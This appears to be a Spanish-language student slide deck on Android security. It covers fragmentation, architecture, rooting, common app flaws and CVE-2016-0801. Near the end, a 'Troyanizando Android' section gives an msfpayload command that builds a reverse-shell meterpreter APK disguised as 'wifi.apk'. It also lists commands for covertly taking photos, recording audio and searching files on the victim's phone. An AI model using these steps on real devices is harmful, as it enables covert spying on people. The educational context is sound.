Beruflich Dokumente
Kultur Dokumente
ANDROID
ALUMNO: JUAN CARLOS BARRAGN BONILLA.
ECOSISTEMA ANDROID
INICIOS
CUSTOM ROMS
TIPOS DE USUARIOS
CONSUMIDORES
ROOTS
INVESTIGADORES DE SEGURIDAD
FRAGMENTACION
MULTIPLES
DISPOSITIVOS
CONFIGURACIONES
HARDWARE
NIVELES DE API
TAMAOS DE
PANTALLA
PERIFERICOS
DISPONIBLES
requerimientos de
compatibilidad con hardware y software, que deben ser seguidos por
Para prevenir esta fragmentacin, Google pone
PROBLEMAS EN EL PARAISO?
FRAGMENTACION ACTUALIZACIONES DE SOFTWARE.
SIN NUMERO DE DISPOSITIVOS INSEGUROS.
Las aplicaciones se pueden parchar por el desarrollador a traves de la Play
Store, pero un SO es diferente, requiere de una actualizacin de
firmware u OTA.
PROBLEMAS EN EL PARAISO?
La liberacin de nuevas versiones de android es muy
lento.
OEMS tienden a ser demasiado lentos para aplicar
parches.
Back Porting es aplicar una reparacin de software
para una actual o vieja versin, son principalmente
inexistentes
Google tiende a reparar sobre la versin actual del
software o posterior, dejando de lado versiones
anteriores indefinidamente vulnerables.
BUGS
Conocidos como vulnerabilidad de half-day, denominado as, porque se
considera un bug decayendo. Ausencia de actualizaciones deja a usuarios
android inseguros
SEGURIDAD VS LIBERTAD
- Para prevenir alteraciones al software, los vendedores
emplean mecanismos de bloqueo del boot loader,
esto hace ms difcil a usuarios avanzados modificar
sus propios dispositivos.
- Las modificaciones de usuarios avanzados pueden
desestabilizar el sistema y dar lugar a las llamadas
de soporte innecesarias.
- Muchos proveedores ofrecen maneras para que los
usuarios finales para desbloquear los dispositivos.
ARQUITECTURA DE ANDROID
1.- Android applications
ARQUITECTURA DE ANDROID
1.
2.
3.
4.
5.
LIMITES DE SEGURIDAD
KERNEL SPACE - operaciones de bajo nivel de hardware y acceder a toda la
memoria virtual y fsica. (PERMISOS se basan en usuarios y grupos).
USER SPACE - no puede acceder a toda la memoria debido al lmite impuesto
por la CPU. (PERMISOS se basan en establecer limites al instalar apps).
1. Aislamiento de procesos estndar de Linux
2. ID de usuario nico (UID) para la mayora de los procesos
3. Permisos del sistema de archivos muy restringido.
EJEMPLOS
Grupo permite a un proceso de lectura y escritura en el directorio / sdcard
Componentes relevantes
Android
AndroidManifest.xml Cada app debe de tener uno , (declaracin de nombre,
permisos, servicos, libreras externas)
The Android Framework Provee de paquetes y clases a desarrolladores.
(android.*)
The Dalvik Virtual Machine basada en registros, el DalvikVM podra verse y
sentirse como Java, pero no lo es. (Clases resultantes se combinan en un solo archivo
Dalvik executable (DEX) )
Libraries - funcionalidad de bajo nivel invocada por clases de nivel superior.
(BIONIC Desarrollada en cdigo nativo propenso a vulnerabilidades corrupcin
de memoria)
Core Services Configuran los servicios bsicos del sistema android subyacente.
(init)
Service Property getprop obtiene dalvik opciones, actual wallpaper,
configuraciones de red y links del vendedor para actualizar .
OBTENER ROOT
DOWANLOADING MODE
ANDROID RECOVERY
CLOCKWORKMODERECOVERY
ABUSING ABDB - PERMISOS ADBD DAEMON
TEMPORARY ROOT NAND LOCK - PIERDE CAMBIOS AL REINCIAR
PERMANENT ROOT NAND LOCK - DESHABILITAR SEG. FLAG EN BASEBAND Y
FLASH CON NAND UNLOCK
INSEGURIDAD EN APLICACIONES
FALLAS EN PERMISOS DE APP:
DESARROLLADORES DAN MAS PERMISOS DE LOS REQUERIDOS.
or
ACCESS_COARSE_LOCATION
Esto conduce a malas prcticas por parte de los desarrolladores, a saber undergranting o, peor
an, overgranting de permisos.
En el caso de undergranting, a menudo es un problema de fiabilidad o funcionalidad, como un
SecurityException no controlada conduce a la aplicacin de crashear.
En cuanto a overgranting, que es ms una cuestin de seguridad; imaginar una aplicacin con
errores, sobreprivilegiado explotado por una aplicacin maliciosa, consiguiendo una escalada
de privilegios
TRANSMISION INSEGURA DE
DATOS SENSIBLES (TTL, SSL):
CIFRADO DEBIL O AUSENTE
AUSENCIA DE ALARMAS DE SEGURIDAD O ERRORES DE VALIDACION DE
CERTIFICADOS
USO DE TEXTO PLANO DESPUES DE FALLAS
El ataque puede realizarse atraves de man-in-the-middle
Robo de Token en Google ClientLogin protocolo de autenticacin ,Android 2.1 - 2.3.4.
Solicitar token, el cual puede ser reusado para transacciones subsecuentes.
El atacante puede personificar al usuario.
INSEGURO ALMACENAMIENTO
DE DATOS
Android ofrece: Preferencias Comaprtidas, SQLite Databases y
Archivos en texto plano.
Puede ser creada y accesada de multiples formas, incluyendo
cdigo nativo
CASO 2011 Skype creacin de archivos con permisos de
lectura y escritura globales, contenido descencriptado e incluia
datos de configuracin y IM logs .
Cuando cualquier archivo es creado a travs de cdigo nativo o
comandos externos, el proceso heredaba el umask de el proceso
padre zygote con una umask de 000
Esto significa permisos globales de lectura y escritura.
FUGA DE INFORMACION
ATRAVES DE logs
Los desarrolladores usan los registros de los logs para
depurar.
Apps que tienen el permiso de READ_LOGS, pueden
obtener acceso a estos mensajes de registro
Por medio de LOGCAT Solo de 4.1 para atrs.
Es posible observar actividad web, robar
identificadores de sesin.
INSEGURA COMUNICACIN
ENTRE PROCESOS (IPC)
La comunicacin entre procesos comunes end point (IPC):
Services, Activities,BroadcastReceivers, and Content Providers.
Potenciales vectores de ataque.
Cuando un IPC no es asegurado, una app maliciosa, este lo
solicita y es concedido.
Se expone contenido de datos estructurados y esto provoca
ataques de inyeccin o directorio transversal
CVE 2016-0801
Esta vulnerabilidad que ha sido solucionada con rapidez por Google
Se basa en la infeccin de dispositivos a travs deredes WiFique los
atacantes utilizan para acceder a la informacin personal de los usuarios, y
en lareescritura de los cdigosbsicos de Android
El hacker solo puede entrar a los terminales solo si se encuentra conectado a
la misma red que las vctimas, algo que resulta complicado.
Troyanizando Android
#sudo msfpayload android/meterpreter/reverse_tcp
LHOST=192.168.1..121 LPORT=4444 R > /root/Desktop/wifi.apk
View running processes -- meterpreter > ps
Search for a file -- meterpreter > search f *.mp3
Take photos using the devices cameras -- meterpreter > webcam_list
-- meterpreter > webcam_snap I 2
Record sound with the microphone -- meterpreter > record_mic 5
Viewing a video stream from the devices camera -- meterpreter >
webcam_stream I 2
OBSERVACION:
La fragmentacin que hay enAndroidhar que al final, muchos de las
versiones de los sistemas operativos quedarn sin parche oficial, as que
tendrs que tomar medidas para solucionarlo.
Algunas de ellas pasan por buscar una alternativa como CyanogenModpara
conseguir actualizar el dispositivo mvil a pesar de que no exista una
distribucin oficial del fabricante.
Seguiran apareciendo nuevos fallos en el cifrado y fugas de informacin que
dejan ver t nmero de telfono, la ubicacin donde ests o la direccin IP
desde la que ests conectado.